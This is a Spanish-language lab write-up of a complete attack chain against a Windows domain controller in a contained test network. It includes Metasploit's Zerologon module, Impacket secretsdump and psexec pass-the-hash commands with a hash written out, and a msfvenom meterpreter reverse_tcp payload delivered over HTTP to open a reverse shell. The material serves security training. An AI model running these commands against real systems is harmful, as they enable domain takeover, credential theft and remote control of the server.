
Explotación de extremo a extremo de un Domain Controller usando Metasploit e Impacket: se descubrió DC10, se explotó Zerologon (CVE-2020-1472), se extrajeron hashes NTLM, se obtuvo una shell SYSTEM y se estableció una sesión de Meterpreter.
Explotación de extremo a extremo de un controlador de dominio usando Metasploit e Impacket: descubrí DC10, exploté Zerologon (CVE-2020-1472), extraje hashes NTLM, obtuve un shell SYSTEM y establecí una sesión Meterpreter.
Resumen ejecutivo Este ejercicio demuestra una cadena de ataque completa y realista contra un controlador de dominio vulnerable a CVE-2020-1472 (Zerologon). El compromiso incluyó descubrimiento, enriquecimiento de servicios, explotación, extracción de credenciales, movimiento lateral y validación posterior a la explotación. Obtuve con éxito acceso a nivel SYSTEM y establecí una sesión Meterpreter persistente en el DC usando una combinación de Zerologon, Impacket secretsdump + pass-the-hash, y payloads de msfvenom/meterpreter. Se recopilaron capturas de pantalla y artefactos de comandos en cada etapa como evidencia.
Resumen del laboratorio: Simulé una cadena de ataque completa contra un controlador de dominio de Windows usando Metasploit e Impacket ; descubrimiento, Zerologon, secretsdump, pass-the-hash y una sesión Meterpreter controlada.
Por qué es importante para las organizaciones: Porque el DC controla la autenticación, las directivas de grupo y la identidad de todo el dominio; un compromiso puede desencadenar una interrupción total del negocio, apropiación de cuentas, exfiltración de datos, despliegue de ransomware y pérdida de confianza regulatoria. Proteger los DC salvaguarda la disponibilidad, los ingresos y la reputación al evitar que los atacantes conviertan la identidad en un único punto de fallo.
Se te proporcionan dos máquinas en una red de laboratorio contenida. Un sistema es un controlador de dominio (DC) de Windows llamado DC10 que aloja servicios centrales de Active Directory (AD). El otro sistema es una estación de trabajo Kali ubicada en la misma subred de servidores para pruebas. Se asume que el DC expone servicios típicos de dominio (por ejemplo, LDAP, Kerberos, SMB) y puede ser vulnerable a problemas conocidos. Se espera que el host Kali se utilice para reconocimiento, explotación, acceso a credenciales, movimiento lateral y validación posterior a la explotación. La tarea es identificar el DC, confirmar los detalles del dominio, obtener un punto de apoyo inicial utilizando una técnica aplicable, extraer material de credenciales para habilitar el acceso administrativo y luego demostrar el control del DC a través de un shell remoto y una sesión de agente gestionado, adaptándose a cualquier restricción ambiental, como servicios parcheados, egreso restringido o defensas de punto final. DC: 10.1.16.1 Kali: 10.1.16.66
Usé msfconsole con soporte de BD, ejecuté un barrido nmap desde MSF, importé los resultados y refiné hosts y servicios para confirmar la exposición de DC10.
Realicé un escaneo de puertos SYN en MSF, fingerprinté SMB y confirmé LDAP y Kerberos en 10.1.16.1. Consulté LDAP para obtener el nombre de dominio.
auxiliary/scanner/smb/smb_version.
auxiliary/gather/ldap_query.
Ejecuté auxiliary/admin/dcerpc/cve_2020_1472_zerologon contra DC10 para restablecer la contraseña de la cuenta de máquina a vacío.
Usando Impacket, extraje hashes NTLM del DC e identifiqué credenciales de Administrador para pass-the-hash.
impacket-secretsdump -just-dc-ntlm structureality/dc10\[email protected]
Usé pass-the-hash con psexec para obtener un shell a nivel SYSTEM en DC10 y validé la identidad del host.
impacket-psexec structureality/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9
Como puedes ver, ya estoy en C:\Windows\system32
Generé un payload meterpreter reverse_tcp, lo alojé por HTTP, lo descargué en DC10, inicié un handler y ejecuté el payload para abrir una sesión Meterpreter.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe
Lancé un servidor web básico para permitir que el sistema objetivo acceda fácilmente a este ejecutable de meterpreter usando:
python3 -m http.server 8080
En la máquina objetivo, ejecuté el ejecutable de meterpreter (secret.exe)
Como puedes ver, ahora he establecido una conexión de shell reverso entre el DC10 objetivo y los sistemas Kali. Esto se logró usando solo exploits externos/remotos contra el objetivo vulnerable.
Si bien el sistema Kali está ubicado en la subred de servidores junto con el objetivo DC10, estos tipos de ataques son posibles a través de Internet si el sistema objetivo está expuesto a internet abierta.